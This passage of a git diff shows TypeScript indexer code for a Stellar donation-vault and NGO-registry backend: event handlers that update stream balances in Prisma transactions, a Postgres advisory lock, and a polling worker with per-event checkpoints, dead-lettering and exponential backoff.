+ * Handles the donation-vault contract's `withdraw` event, emitted when + * accrued funds are withdrawn to the NGO from an active stream. + * + * Writes: updates the matching `stream` row, subtracting the accrued + * amount from `balance` and adding it to `withdrawn`. Persists a + * `StreamEvent` row in the same transaction. No-ops if the stream isn't + * known yet or if it is already cancelled. Emits a `stream_withdrawn` notification. + * + * Withdraw's event payload is just the accrued amount, so the new balance + * and withdrawn total are fully determined by it — no ambiguity. + */ +async function handleWithdraw(event: ContractEvent): Promise { + const [, streamIdVal] = event.topic; + const onChainId = scValToNative(streamIdVal) as bigint; + const accrued = scValToNative(event.value) as bigint; + + let shouldNotify = false; + + await prisma.$transaction(async (tx) => { + const stream = await tx.stream.findUnique({ where: { onChainId } }); + if (!stream) { + logger.warn( + { eventId: event.id, streamId: onChainId.toString() }, + 'withdraw event received for unknown stream', + ); + await recordDeadLetter(event, new Error(`unknown stream: ${onChainId}`)); + return; + } + + if (stream.status === 'CANCELLED') { + logger.warn( + { eventId: event.id, streamId: onChainId.toString() }, + 'ignoring withdraw event for cancelled stream', + ); + return; + } + + const balance = BigInt(stream.balance); + const nextBalance = balance - accrued; + if (nextBalance < 0n) { + logger.warn( + { + onChainId: onChainId.toString(), + balance: balance.toString(), + accrued: accrued.toString(), + }, + 'withdraw exceeds recorded stream balance', + ); + } + + await tx.stream.update({ + where: { onChainId }, + data: { + balance: (nextBalance < 0n ? 0n : nextBalance).toString(), + withdrawn: (BigInt(stream.withdrawn) + accrued).toString(), + updatedAt: new Date(event.ledgerClosedAt), + }, + }); + + await tx.streamEvent.create({ + data: { + type: 'withdraw', + streamId: onChainId, + ledger: event.ledger, + txHash: event.txHash, + payload: { accrued: accrued.toString() }, + }, + }); + + shouldNotify = true; + }); + + if (shouldNotify) { + dispatchNotification({ + type: 'stream_withdrawn', + eventId: event.id, + streamId: onChainId.toString(), + amount: accrued.toString(), + }); + } +} + +/** + * Handles the donation-vault contract's `cancel` event, emitted when a + * stream is cancelled, settling accrued funds to the NGO and refunding the + * remaining balance to the donor. + * + * Writes: updates the matching `stream` row — adds the settled amount to + * `withdrawn`, zeroes `balance` and `rate`, and sets `status` to + * `CANCELLED`. Persists a `StreamEvent` row in the same transaction. + * No-ops if the stream isn't known yet or already cancelled. Emits a `stream_cancelled` + * notification. + * + * Cancel's payload carries both the settled amount and the refund, so — + * like withdraw — the resulting state is fully determined by the event. + */ +async function handleCancel(event: ContractEvent): Promise { + const [, streamIdVal] = event.topic; + const onChainId = scValToNative(streamIdVal) as bigint; + const [accrued, refund] = scValToNative(event.value) as [bigint, bigint]; + + let shouldNotify = false; + + await prisma.$transaction(async (tx) => { + const stream = await tx.stream.findUnique({ where: { onChainId } }); + if (!stream) { + logger.warn( + { eventId: event.id, streamId: onChainId.toString() }, + 'cancel event received for unknown stream', + ); + await recordDeadLetter(event, new Error(`unknown stream: ${onChainId}`)); + return; + } + + if (stream.status === 'CANCELLED') { + logger.warn( + { eventId: event.id, streamId: onChainId.toString() }, + 'ignoring duplicate cancel event for already cancelled stream', + ); + return; + } + + await tx.stream.update({ + where: { onChainId }, + data: { + withdrawn: (BigInt(stream.withdrawn) + accrued).toString(), + balance: '0', + lastRate: stream.rate, + rate: '0', + status: 'CANCELLED', + updatedAt: new Date(event.ledgerClosedAt), + }, + }); + + await tx.streamEvent.create({ + data: { + type: 'cancel', + streamId: onChainId, + ledger: event.ledger, + txHash: event.txHash, + payload: { + accrued: accrued.toString(), + refund: refund.toString(), + }, + }, + }); + + shouldNotify = true; + }); + + if (shouldNotify) { + dispatchNotification({ + type: 'stream_cancelled', + eventId: event.id, + streamId: onChainId.toString(), + settledToNgo: accrued.toString(), + refundToDonor: refund.toString(), + }); + } +} + +/** + * Entry point for all donation-vault contract events. Dispatches on the + * event's topic to the handler for that on-chain event: + * `created` → {@link handleStreamCreated}, `withdraw` → {@link handleWithdraw}, + * `cancel` → {@link handleCancel}. `topup` and `ratemod` are deliberately + * unhandled for now (see comment below); any other topic is ignored. + */ +export async function handleDonationVaultEvent(event: ContractEvent): Promise { + const [topicSymbol] = event.topic; + const topic = scValToNative(topicSymbol) as string; + + switch (topic) { + case 'created': + await handleStreamCreated(event); + break; + case 'withdraw': + await handleWithdraw(event); + break; + case 'cancel': + await handleCancel(event); + break; + case 'topup': + case 'ratemod': + // Deliberately unhandled for now: both events only publish the new + // amount/rate, not how much accrued and settled to the NGO during + // the same call, so the new balance can't be reconstructed from the + // event payload alone without either a verified read-only contract + // call (get_stream) or duplicating the contract's accrual math here + // — both real work, tracked as follow-up rather than guessed at. + break; + default: + break; + } +} diff --git a/src/indexer/handlers/ngoRegistry.ts b/src/indexer/handlers/ngoRegistry.ts index 1e5c78a..8eb9c9b 100644 --- a/src/indexer/handlers/ngoRegistry.ts +++ b/src/indexer/handlers/ngoRegistry.ts @@ -1,110 +1,110 @@ -import { scValToNative } from '@stellar/stellar-sdk'; - -import { prisma } from '../../db.js'; -import { dispatchNotification } from '../../notifications/service.js'; -import type { ContractEvent } from '../worker.js'; - -/** - * Entry point for all ngo-registry contract events. Handles `register`, - * `approved`, and `revoked` from the same function. - * - * `register` — emitted when an NGO signs up. Writes: upserts the `ngo` row - * for the owner address, creating it with `verified: false` or updating its - * `name` if it already exists. Persists a `StreamEvent` row in the same - * transaction, then emits an `ngo_registered` notification. - * - * `approved` — emitted when an admin approves a previously-registered NGO. - * Writes: sets `verified: true` on the matching `ngo` row via `updateMany` - * (not `update`, so a stray `approved` seen without a prior `register` — - * e.g. the indexer started mid-history — doesn't throw). Persists a - * `StreamEvent` row in the same transaction. - * - * `revoked` — emitted when an admin revokes a previously-approved NGO. - * Writes: sets `verified: false` on the matching `ngo` row via `updateMany`. - * - * All three ultimately mutate the same `ngos` row — `register` creates it - * unverified, `approved` flips it to verified, and `revoked` flips it back to - * unverified — so they're handled together rather than split across separate - * handlers. - */ -export async function handleNgoRegistryEvent(event: ContractEvent): Promise { - const [topicSymbol, ownerVal] = event.topic; - const topic = scValToNative(topicSymbol) as string; - const ownerAddress = scValToNative(ownerVal).toString(); - - if (topic === 'register') { - const name = scValToNative(event.value) as string; - await prisma.$transaction(async (tx) => { - await tx.ngo.upsert({ - where: { ownerAddress }, - create: { ownerAddress, name, verified: false }, - update: { name }, - }); - - await tx.streamEvent.create({ - data: { - type: 'register', - streamId: null, - ledger: event.ledger, - txHash: event.txHash, - payload: { ownerAddress, name }, - }, - }); - }); - - const ngo = await prisma.ngo.findFirst({ where: { ownerAddress }, select: { id: true } }); - if (ngo) { - dispatchNotification({ type: 'ngo_registered', ownerAddress, ngoId: ngo.id, eventId: event.id }); - } - return; - } - - if (topic === 'approved') { - await prisma.$transaction(async (tx) => { - await tx.ngo.updateMany({ - where: { ownerAddress }, - data: { verified: true }, - }); - - await tx.streamEvent.create({ - data: { - type: 'approved', - streamId: null, - ledger: event.ledger, - txHash: event.txHash, - payload: { ownerAddress }, - }, - }); - }); - - const ngo = await prisma.ngo.findFirst({ where: { ownerAddress }, select: { id: true } }); - if (ngo) { - dispatchNotification({ type: 'ngo_approved', ownerAddress, ngoId: ngo.id, eventId: event.id }); - } - return; - } - - if (topic === 'revoked') { - await prisma.$transaction(async (tx) => { - await tx.ngo.updateMany({ - where: { ownerAddress }, - data: { verified: false }, - }); - - await tx.streamEvent.create({ - data: { - type: 'revoked', - streamId: null, - ledger: event.ledger, - txHash: event.txHash, - payload: { ownerAddress }, - }, - }); - }); - - const ngo = await prisma.ngo.findFirst({ where: { ownerAddress }, select: { id: true } }); - if (ngo) { - dispatchNotification({ type: 'ngo_revoked', ownerAddress, ngoId: ngo.id, eventId: event.id }); - } - } -} +import { scValToNative } from '@stellar/stellar-sdk'; + +import { prisma } from '../../db.js'; +import { dispatchNotification } from '../../notifications/service.js'; +import type { ContractEvent } from '../worker.js'; + +/** + * Entry point for all ngo-registry contract events. Handles `register`, + * `approved`, and `revoked` from the same function. + * + * `register` — emitted when an NGO signs up. Writes: upserts the `ngo` row + * for the owner address, creating it with `verified: false` or updating its + * `name` if it already exists. Persists a `StreamEvent` row in the same + * transaction, then emits an `ngo_registered` notification. + * + * `approved` — emitted when an admin approves a previously-registered NGO. + * Writes: sets `verified: true` on the matching `ngo` row via `updateMany` + * (not `update`, so a stray `approved` seen without a prior `register` — + * e.g. the indexer started mid-history — doesn't throw). Persists a + * `StreamEvent` row in the same transaction. + * + * `revoked` — emitted when an admin revokes a previously-approved NGO. + * Writes: sets `verified: false` on the matching `ngo` row via `updateMany`. + * + * All three ultimately mutate the same `ngos` row — `register` creates it + * unverified, `approved` flips it to verified, and `revoked` flips it back to + * unverified — so they're handled together rather than split across separate + * handlers. + */ +export async function handleNgoRegistryEvent(event: ContractEvent): Promise { + const [topicSymbol, ownerVal] = event.topic; + const topic = scValToNative(topicSymbol) as string; + const ownerAddress = scValToNative(ownerVal).toString(); + + if (topic === 'register') { + const name = scValToNative(event.value) as string; + await prisma.$transaction(async (tx) => { + await tx.ngo.upsert({ + where: { ownerAddress }, + create: { ownerAddress, name, verified: false }, + update: { name }, + }); + + await tx.streamEvent.create({ + data: { + type: 'register', + streamId: null, + ledger: event.ledger, + txHash: event.txHash, + payload: { ownerAddress, name }, + }, + }); + }); + + const ngo = await prisma.ngo.findFirst({ where: { ownerAddress }, select: { id: true } }); + if (ngo) { + dispatchNotification({ type: 'ngo_registered', ownerAddress, ngoId: ngo.id, eventId: event.id }); + } + return; + } + + if (topic === 'approved') { + await prisma.$transaction(async (tx) => { + await tx.ngo.updateMany({ + where: { ownerAddress }, + data: { verified: true }, + }); + + await tx.streamEvent.create({ + data: { + type: 'approved', + streamId: null, + ledger: event.ledger, + txHash: event.txHash, + payload: { ownerAddress }, + }, + }); + }); + + const ngo = await prisma.ngo.findFirst({ where: { ownerAddress }, select: { id: true } }); + if (ngo) { + dispatchNotification({ type: 'ngo_approved', ownerAddress, ngoId: ngo.id, eventId: event.id }); + } + return; + } + + if (topic === 'revoked') { + await prisma.$transaction(async (tx) => { + await tx.ngo.updateMany({ + where: { ownerAddress }, + data: { verified: false }, + }); + + await tx.streamEvent.create({ + data: { + type: 'revoked', + streamId: null, + ledger: event.ledger, + txHash: event.txHash, + payload: { ownerAddress }, + }, + }); + }); + + const ngo = await prisma.ngo.findFirst({ where: { ownerAddress }, select: { id: true } }); + if (ngo) { + dispatchNotification({ type: 'ngo_revoked', ownerAddress, ngoId: ngo.id, eventId: event.id }); + } + } +} diff --git a/src/indexer/lock.ts b/src/indexer/lock.ts index e0ba08b..f894eb0 100644 --- a/src/indexer/lock.ts +++ b/src/indexer/lock.ts @@ -1,58 +1,58 @@ -import { Client } from 'pg'; - -import { getDatabaseUrl } from '../db.js'; - -const INDEXER_LOCK_NAMESPACE = 1_398_032_214; -const INDEXER_LOCK_ID = 1; - -export interface IndexerLock { - isHeld(): boolean; - release(): Promise; -} - -/** Acquires a session-level Postgres lock on a dedicated connection. */ -export async function tryAcquireIndexerLock(): Promise { - const client = new Client({ connectionString: getDatabaseUrl() }); - await client.connect(); - - try { - const result = await client.query<{ locked: boolean }>( - 'SELECT pg_try_advisory_lock($1, $2) AS locked', - [INDEXER_LOCK_NAMESPACE, INDEXER_LOCK_ID], - ); - - if (!result.rows[0]?.locked) { - await client.end(); - return undefined; - } - - let held = true; - let released = false; - client.on('error', (error) => { - held = false; - console.error('indexer advisory lock connection failed', error); - }); - - return { - isHeld: () => held, - release: async () => { - if (released) return; - released = true; - try { - if (held) { - await client.query('SELECT pg_advisory_unlock($1, $2)', [ - INDEXER_LOCK_NAMESPACE, - INDEXER_LOCK_ID, - ]); - } - } finally { - held = false; - await client.end(); - } - }, - }; - } catch (error) { - await client.end(); - throw error; - } -} +import { Client } from 'pg'; + +import { getDatabaseUrl } from '../db.js'; + +const INDEXER_LOCK_NAMESPACE = 1_398_032_214; +const INDEXER_LOCK_ID = 1; + +export interface IndexerLock { + isHeld(): boolean; + release(): Promise; +} + +/** Acquires a session-level Postgres lock on a dedicated connection. */ +export async function tryAcquireIndexerLock(): Promise { + const client = new Client({ connectionString: getDatabaseUrl() }); + await client.connect(); + + try { + const result = await client.query<{ locked: boolean }>( + 'SELECT pg_try_advisory_lock($1, $2) AS locked', + [INDEXER_LOCK_NAMESPACE, INDEXER_LOCK_ID], + ); + + if (!result.rows[0]?.locked) { + await client.end(); + return undefined; + } + + let held = true; + let released = false; + client.on('error', (error) => { + held = false; + console.error('indexer advisory lock connection failed', error); + }); + + return { + isHeld: () => held, + release: async () => { + if (released) return; + released = true; + try { + if (held) { + await client.query('SELECT pg_advisory_unlock($1, $2)', [ + INDEXER_LOCK_NAMESPACE, + INDEXER_LOCK_ID, + ]); + } + } finally { + held = false; + await client.end(); + } + }, + }; + } catch (error) { + await client.end(); + throw error; + } +} diff --git a/src/indexer/worker.ts b/src/indexer/worker.ts index 4949731..98ced28 100644 --- a/src/indexer/worker.ts +++ b/src/indexer/worker.ts @@ -1,346 +1,346 @@ -import { - recordIndexerEventDeadLettered, - recordIndexerEventProcessed, - recordIndexerEventsSkipped, - recordIndexerPosition, -} from '../metrics.js'; -import { getLatestLedgerSequence, rpcServer } from '../stellar/rpc.js'; -import { getCheckpointState, saveCheckpoint } from './checkpoint.js'; -import { WATCHED_CONTRACT_IDS } from './contracts.js'; -import { recordDeadLetter } from './deadLetter.js'; -import { tryAcquireIndexerLock, type IndexerLock } from './lock.js'; - -const POLL_INTERVAL_MS = Number(process.env.INDEXER_POLL_INTERVAL_MS ?? 5000); -const START_LEDGER = process.env.INDEXER_START_LEDGER - ? Number(process.env.INDEXER_START_LEDGER) - : undefined; -const MAX_EVENTS_PER_POLL = process.env.INDEXER_MAX_EVENTS_PER_POLL - ? Number(process.env.INDEXER_MAX_EVENTS_PER_POLL) - : undefined; - -if ( - MAX_EVENTS_PER_POLL !== undefined && - (!Number.isInteger(MAX_EVENTS_PER_POLL) || MAX_EVENTS_PER_POLL < 1) -) { - throw new Error('INDEXER_MAX_EVENTS_PER_POLL must be a positive integer'); -} - -/** Ceiling on the backed-off delay. Reached after ~7 consecutive failures at - * the default 5s interval, so a long outage still re-checks the endpoint - * every 5 minutes instead of drifting out to a delay that would look like a - * hung indexer — and so recovery is always detected within the cap. */ -const BACKOFF_MAX_MS = 5 * 60_000; - -type GetEventsResult = Awaited>; -export type ContractEvent = GetEventsResult['events'][number]; -export type EventHandler = (event: ContractEvent) => Promise; - -// Cached in memory during the process lifetime so every poll doesn't hit -// the DB just to read the starting point; the source of truth is always -// the `indexer_checkpoints` row, written after every processed event. -let lastProcessedLedger: number | undefined; -let lastProcessedEventId: string | undefined; -export const INDEXER_FAILURE_ESCALATION_THRESHOLD = 5; -let consecutivePollFailures = 0; - -/** The RPC rejects an out-of-window startLedger with JSON-RPC -32600 and a - * message naming the range it does serve. There is no dedicated error code - * for it, so the message is the only signal available. */ -function isLedgerOutOfRange(err: unknown): boolean { - return ( - typeof err === 'object' && - err !== null && - 'message' in err && - typeof (err as { message: unknown }).message === 'string' && - (err as { message: string }).message.includes('startLedger must be within the ledger range') - ); -} - -/** - * Distinguishes permanent event shape, decode, and validation errors from - * transient operational errors (e.g. database blips, timeouts, connection drops). - * - * Permanent errors are dead-lettered and skipped so the checkpoint can advance. - * Transient errors are re-thrown so the worker retries them with backoff without - * advancing the checkpoint. - */ -export function isDecodeOrValidationError(err: unknown): boolean { - if (err instanceof TypeError || err instanceof RangeError || err instanceof SyntaxError) { - return true; - } - if (err instanceof Error) { - const name = err.name.toLowerCase(); - if (name.includes('validation') || name.includes('zod') || name.includes('decode')) { - return true; - } - const msg = err.message.toLowerCase(); - if ( - msg.includes('transient') || - msg.includes('timeout') || - msg.includes('connection') || - msg.includes('econnrefused') || - msg.includes('database') || - msg.includes('deadlock') || - msg.includes('network') || - msg.includes('econnreset') || - msg.includes('socket') || - msg.includes('service_unavailable') - ) { - return false; - } - if ( - msg.includes('scval') || - msg.includes('xdr') || - msg.includes('strkey') || - msg.includes('decode') || - msg.includes('validation') || - msg.includes('unknown stream') || - msg.includes('not iterable') || - msg.includes('malformed') || - msg.includes('cannot read properties') - ) { - return true; - } - } - return false; -} - -/** - * How long to wait before the poll that follows `consecutiveFailures` - * consecutive poll failures. - * - * Zero failures — the normal case — is just the poll interval. The first - * failure also retries at the poll interval, so a single dropped request - * costs nothing; from there the delay doubles per failure up to - * BACKOFF_MAX_MS. Doubling is what keeps an RPC outage from being a - * constant-rate hammer: 5s, 5s, 10s, 20s, 40s, 80s, 160s, 300s, 300s, ... - * - * Exported for the unit test; the caller resets the counter on success. - */ -export function backoffDelayMs(consecutiveFailures: number): number { - if (consecutiveFailures <= 0) { - return POLL_INTERVAL_MS; - } - - // 2 ** n saturates to Infinity long before it overflows, and - // Math.min(Infinity, BACKOFF_MAX_MS) is the cap, so a long outage can - // never produce a NaN or a nonsensical delay here. - return Math.min(POLL_INTERVAL_MS * 2 ** (consecutiveFailures - 1), BACKOFF_MAX_MS); -} - -/** - * Fetches and processes one batch of events, moving the checkpoint forward. - * - * Exported for the tests; the running indexer drives this from - * {@link startIndexer} rather than calling it directly. - */ -export async function pollOnce(handleEvent: EventHandler): Promise { - if (WATCHED_CONTRACT_IDS.length === 0) { - return; - } - - if (lastProcessedLedger === undefined) { - const saved = await getCheckpointState(); - - if (saved !== undefined) { - lastProcessedLedger = saved.lastLedger; - lastProcessedEventId = saved.lastEventId; - } else { - // Never run before: use INDEXER_START_LEDGER for backfill if set, - // otherwise start from "now" to avoid replaying all history. - lastProcessedLedger = START_LEDGER ?? (await getLatestLedgerSequence()); - await saveCheckpoint(lastProcessedLedger); - recordIndexerPosition(lastProcessedLedger, lastProcessedLedger); - return; - } - } - - // The RPC only serves a sliding window of recent ledgers, and rejects a - // startLedger on either side of it. Two ways to fall outside: - // - // ahead — we checkpoint at the latest ledger, so the very next poll asks - // for latest + 1, which has not closed yet. Nothing to do but wait. - // behind — if this process is down longer than the retention window, the - // saved checkpoint ages out of it and every later poll fails forever. - // Skip ahead to the current ledger; the alternative is an indexer that - // never recovers. Events in the gap are lost, so say so loudly. - const latestLedger = await getLatestLedgerSequence(); - recordIndexerPosition(lastProcessedLedger, latestLedger); - - if (lastProcessedLedger >= latestLedger && lastProcessedEventId === undefined) { - return; - } - - let events; - - try { - const filters = [{ type: 'contract' as const, contractIds: WATCHED_CONTRACT_IDS }]; - const pagination = lastProcessedEventId - ? { cursor: lastProcessedEventId } - : { startLedger: lastProcessedLedger + 1 }; - - ({ events } = await rpcServer.getEvents({ - ...pagination, - filters, - limit: MAX_EVENTS_PER_POLL, - })); - } catch (err: unknown) { - if (isLedgerOutOfRange(err)) { - console.warn( - `indexer: checkpoint ${lastProcessedLedger} has aged out of the RPC's` + - ` retention window — skipping to ledger ${latestLedger}. Events in` + - ` between were missed and will not be indexed.`, - ); - - lastProcessedLedger = latestLedger; - lastProcessedEventId = undefined; - await saveCheckpoint(lastProcessedLedger); - recordIndexerEventsSkipped(); - return; - } - - throw err; - } - - // Nothing happened in the scanned range, but it *was* scanned — advance - // the checkpoint anyway. Otherwise an idle contract leaves the checkpoint - // pinned while the chain moves on, until it falls out of the retention - // window and the recovery above fires on a perfectly healthy indexer. - if (events.length === 0) { - lastProcessedLedger = latestLedger; - lastProcessedEventId = undefined; - await saveCheckpoint(lastProcessedLedger); - return; - } - - for (const event of events) { - try { - await handleEvent(event); - recordIndexerEventProcessed(); - } catch (err: unknown) { - if (isDecodeOrValidationError(err)) { - console.error( - `indexer: event ${event.id} at ledger ${event.ledger} could not be` + - ` processed (decode/validation error) — recording it as a dead letter and skipping it`, - err, - ); - await recordDeadLetter(event, err); - recordIndexerEventDeadLettered(); - } else { - console.error( - `indexer: handler failed transiently for event ${event.id} at ledger ${event.ledger} — ` + - `will retry with backoff without advancing checkpoint`, - err, - ); - throw err; - } - } - - // Saved per-event, not once per batch: several handlers apply relative - // deltas (balance -= accrued, etc.), so replaying an already-applied - // event after a crash would double-count it. Checkpointing after each - // one bounds the damage to "at most the in-flight event" on a crash. - lastProcessedLedger = event.ledger; - lastProcessedEventId = event.id; - await saveCheckpoint(lastProcessedLedger, lastProcessedEventId); - } -} - -/** - * Starts polling for contract events. - * - * The returned stop function cancels the pending poll and waits for a poll - * that is already running to finish before resolving. - */ -export function startIndexer(handleEvent: EventHandler): () => Promise { - if (WATCHED_CONTRACT_IDS.length === 0) { - // Expected on a fresh local setup before contracts are deployed, not a - // bug — pollOnce() no-ops until at least one contract id is set. Logged - // once here (rather than every poll) so it's visible without being noisy. - console.warn( - 'indexer: NGO_REGISTRY_CONTRACT_ID and DONATION_VAULT_CONTRACT_ID are both unset — no-op until at least one is set. See ENVIRONMENT.md.', - ); - } - - // Each poll schedules the next one only after it settles, rather than - // firing on a fixed setInterval. Two things fall out of that: polls can - // never overlap however slow an RPC is, and a failing poll controls how - // long until the next attempt instead of the interval timer overriding it. - let timer: NodeJS.Timeout | undefined; - let inFlight: Promise | undefined; - let indexerLock: IndexerLock | undefined; - let lockWaitLogged = false; - let consecutiveFailures = 0; - let stopped = false; - - function scheduleNextPoll(): void { - if (stopped) { - return; - } - const delay = backoffDelayMs(consecutiveFailures); - timer = setTimeout(() => { - runPoll(); - }, delay); - } - - function runPoll(): void { - if (stopped) { - return; - } - - inFlight = (async () => { - try { - if (indexerLock && !indexerLock.isHeld()) { - await indexerLock.release(); - indexerLock = undefined; - } - if (!indexerLock) { - indexerLock = await tryAcquireIndexerLock(); - if (!indexerLock) { - if (!lockWaitLogged) { - console.info('indexer: another worker holds the advisory lock; waiting'); - lockWaitLogged = true; - } - return; - } - lockWaitLogged = false; - console.info('indexer: acquired advisory lock'); - } - if (stopped || !indexerLock.isHeld()) return; - - await pollOnce(handleEvent); - consecutiveFailures = 0; - consecutivePollFailures = 0; - } catch (err: unknown) { - consecutiveFailures += 1; - consecutivePollFailures += 1; - - if (consecutivePollFailures >= INDEXER_FAILURE_ESCALATION_THRESHOLD) { - console.error('indexer poll failure threshold exceeded', { - consecutiveFailures: consecutivePollFailures, - error: err, - }); - } else { - console.error( - `indexer poll failed (${consecutiveFailures} in a row) — ` + - `retrying in ${backoffDelayMs(consecutiveFailures)}ms`, - err, - ); - } - } finally { - inFlight = undefined; - scheduleNextPoll(); - } - })(); - } - - runPoll(); - - return async (): Promise => { - stopped = true; - clearTimeout(timer); - await inFlight; - await indexerLock?.release(); - indexerLock = undefined; - }; -} +import { + recordIndexerEventDeadLettered, + recordIndexerEventProcessed, + recordIndexerEventsSkipped, + recordIndexerPosition, +} from '../metrics.js'; +import { getLatestLedgerSequence, rpcServer } from '../stellar/rpc.js'; +import { getCheckpointState, saveCheckpoint } from './checkpoint.js'; +import { WATCHED_CONTRACT_IDS } from './contracts.js'; +import { recordDeadLetter } from './deadLetter.js'; +import { tryAcquireIndexerLock, type IndexerLock } from './lock.js'; + +const POLL_INTERVAL_MS = Number(process.env.INDEXER_POLL_INTERVAL_MS ?? 5000); +const START_LEDGER = process.env.INDEXER_START_LEDGER + ? Number(process.env.INDEXER_START_LEDGER) + : undefined; +const MAX_EVENTS_PER_POLL = process.env.INDEXER_MAX_EVENTS_PER_POLL + ? Number(process.env.INDEXER_MAX_EVENTS_PER_POLL) + : undefined; + +if ( + MAX_EVENTS_PER_POLL !== undefined && + (!Number.isInteger(MAX_EVENTS_PER_POLL) || MAX_EVENTS_PER_POLL < 1) +) { + throw new Error('INDEXER_MAX_EVENTS_PER_POLL must be a positive integer'); +} + +/** Ceiling on the backed-off delay. Reached after ~7 consecutive failures at + * the default 5s interval, so a long outage still re-checks the endpoint + * every 5 minutes instead of drifting out to a delay that would look like a + * hung indexer — and so recovery is always detected within the cap. */ +const BACKOFF_MAX_MS = 5 * 60_000; + +type GetEventsResult = Awaited>; +export type ContractEvent = GetEventsResult['events'][number]; +export type EventHandler = (event: ContractEvent) => Promise; + +// Cached in memory during the process lifetime so every poll doesn't hit +// the DB just to read the starting point; the source of truth is always +// the `indexer_checkpoints` row, written after every processed event. +let lastProcessedLedger: number | undefined; +let lastProcessedEventId: string | undefined; +export const INDEXER_FAILURE_ESCALATION_THRESHOLD = 5; +let consecutivePollFailures = 0; + +/** The RPC rejects an out-of-window startLedger with JSON-RPC -32600 and a + * message naming the range it does serve. There is no dedicated error code + * for it, so the message is the only signal available. */ +function isLedgerOutOfRange(err: unknown): boolean { + return ( + typeof err === 'object' && + err !== null && + 'message' in err && + typeof (err as { message: unknown }).message === 'string' && + (err as { message: string }).message.includes('startLedger must be within the ledger range') + ); +} + +/** + * Distinguishes permanent event shape, decode, and validation errors from + * transient operational errors (e.g. database blips, timeouts, connection drops). + * + * Permanent errors are dead-lettered and skipped so the checkpoint can advance. + * Transient errors are re-thrown so the worker retries them with backoff without + * advancing the checkpoint. + */ +export function isDecodeOrValidationError(err: unknown): boolean { + if (err instanceof TypeError || err instanceof RangeError || err instanceof SyntaxError) { + return true; + } + if (err instanceof Error) { + const name = err.name.toLowerCase(); + if (name.includes('validation') || name.includes('zod') || name.includes('decode')) { + return true; + } + const msg = err.message.toLowerCase(); + if ( + msg.includes('transient') || + msg.includes('timeout') || + msg.includes('connection') || + msg.includes('econnrefused') || + msg.includes('database') || + msg.includes('deadlock') || + msg.includes('network') || + msg.includes('econnreset') || + msg.includes('socket') || + msg.includes('service_unavailable') + ) { + return false; + } + if ( + msg.includes('scval') || + msg.includes('xdr') || + msg.includes('strkey') || + msg.includes('decode') || + msg.includes('validation') || + msg.includes('unknown stream') || + msg.includes('not iterable') || + msg.includes('malformed') || + msg.includes('cannot read properties') + ) { + return true; + } + } + return false; +} + +/** + * How long to wait before the poll that follows `consecutiveFailures` + * consecutive poll failures. + * + * Zero failures — the normal case — is just the poll interval. The first + * failure also retries at the poll interval, so a single dropped request + * costs nothing; from there the delay doubles per failure up to + * BACKOFF_MAX_MS. Doubling is what keeps an RPC outage from being a + * constant-rate hammer: 5s, 5s, 10s, 20s, 40s, 80s, 160s, 300s, 300s, ... + * + * Exported for the unit test; the caller resets the counter on success. + */ +export function backoffDelayMs(consecutiveFailures: number): number { + if (consecutiveFailures <= 0) { + return POLL_INTERVAL_MS; + } + + // 2 ** n saturates to Infinity long before it overflows, and + // Math.min(Infinity, BACKOFF_MAX_MS) is the cap, so a long outage can + // never produce a NaN or a nonsensical delay here. + return Math.min(POLL_INTERVAL_MS * 2 ** (consecutiveFailures - 1), BACKOFF_MAX_MS); +} + +/** + * Fetches and processes one batch of events, moving the checkpoint forward. + * + * Exported for the tests; the running indexer drives this from + * {@link startIndexer} rather than calling it directly. + */ +export async function pollOnce(handleEvent: EventHandler): Promise { + if (WATCHED_CONTRACT_IDS.length === 0) { + return; + } + + if (lastProcessedLedger === undefined) { + const saved = await getCheckpointState(); + + if (saved !== undefined) { + lastProcessedLedger = saved.lastLedger; + lastProcessedEventId = saved.lastEventId; + } else { + // Never run before: use INDEXER_START_LEDGER for backfill if set, + // otherwise start from "now" to avoid replaying all history. + lastProcessedLedger = START_LEDGER ?? (await getLatestLedgerSequence()); + await saveCheckpoint(lastProcessedLedger); + recordIndexerPosition(lastProcessedLedger, lastProcessedLedger); + return; + } + } + + // The RPC only serves a sliding window of recent ledgers, and rejects a + // startLedger on either side of it. Two ways to fall outside: + // + // ahead — we checkpoint at the latest ledger, so the very next poll asks + // for latest + 1, which has not closed yet. Nothing to do but wait. + // behind — if this process is down longer than the retention window, the + // saved checkpoint ages out of it and every later poll fails forever. + // Skip ahead to the current ledger; the alternative is an indexer that + // never recovers. Events in the gap are lost, so say so loudly. + const latestLedger = await getLatestLedgerSequence(); + recordIndexerPosition(lastProcessedLedger, latestLedger); + + if (lastProcessedLedger >= latestLedger && lastProcessedEventId === undefined) { + return; + } + + let events; + + try { + const filters = [{ type: 'contract' as const, contractIds: WATCHED_CONTRACT_IDS }]; + const pagination = lastProcessedEventId + ? { cursor: lastProcessedEventId } + : { startLedger: lastProcessedLedger + 1 }; + + ({ events } = await rpcServer.getEvents({ + ...pagination, + filters, + limit: MAX_EVENTS_PER_POLL, + })); + } catch (err: unknown) { + if (isLedgerOutOfRange(err)) { + console.warn( + `indexer: checkpoint ${lastProcessedLedger} has aged out of the RPC's` + + ` retention window — skipping to ledger ${latestLedger}. Events in` + + ` between were missed and will not be indexed.`, + ); + + lastProcessedLedger = latestLedger; + lastProcessedEventId = undefined; + await saveCheckpoint(lastProcessedLedger); + recordIndexerEventsSkipped(); + return; + } + + throw err; + } + + // Nothing happened in the scanned range, but it *was* scanned — advance + // the checkpoint anyway. Otherwise an idle contract leaves the checkpoint + // pinned while the chain moves on, until it falls out of the retention + // window and the recovery above fires on a perfectly healthy indexer. + if (events.length === 0) { + lastProcessedLedger = latestLedger; + lastProcessedEventId = undefined; + await saveCheckpoint(lastProcessedLedger); + return; + } + + for (const event of events) { + try { + await handleEvent(event); + recordIndexerEventProcessed(); + } catch (err: unknown) { + if (isDecodeOrValidationError(err)) { + console.error( + `indexer: event ${event.id} at ledger ${event.ledger} could not be` + + ` processed (decode/validation error) — recording it as a dead letter and skipping it`, + err, + ); + await recordDeadLetter(event, err); + recordIndexerEventDeadLettered(); + } else { + console.error( + `indexer: handler failed transiently for event ${event.id} at ledger ${event.ledger} — ` + + `will retry with backoff without advancing checkpoint`, + err, + ); + throw err; + } + } + + // Saved per-event, not once per batch: several handlers apply relative + // deltas (balance -= accrued, etc.), so replaying an already-applied + // event after a crash would double-count it. Checkpointing after each + // one bounds the damage to "at most the in-flight event" on a crash. + lastProcessedLedger = event.ledger; + lastProcessedEventId = event.id; + await saveCheckpoint(lastProcessedLedger, lastProcessedEventId); + } +} + +/** + * Starts polling for contract events. + * + * The returned stop function cancels the pending poll and waits for a poll + * that is already running to finish before resolving. + */ +export function startIndexer(handleEvent: EventHandler): () 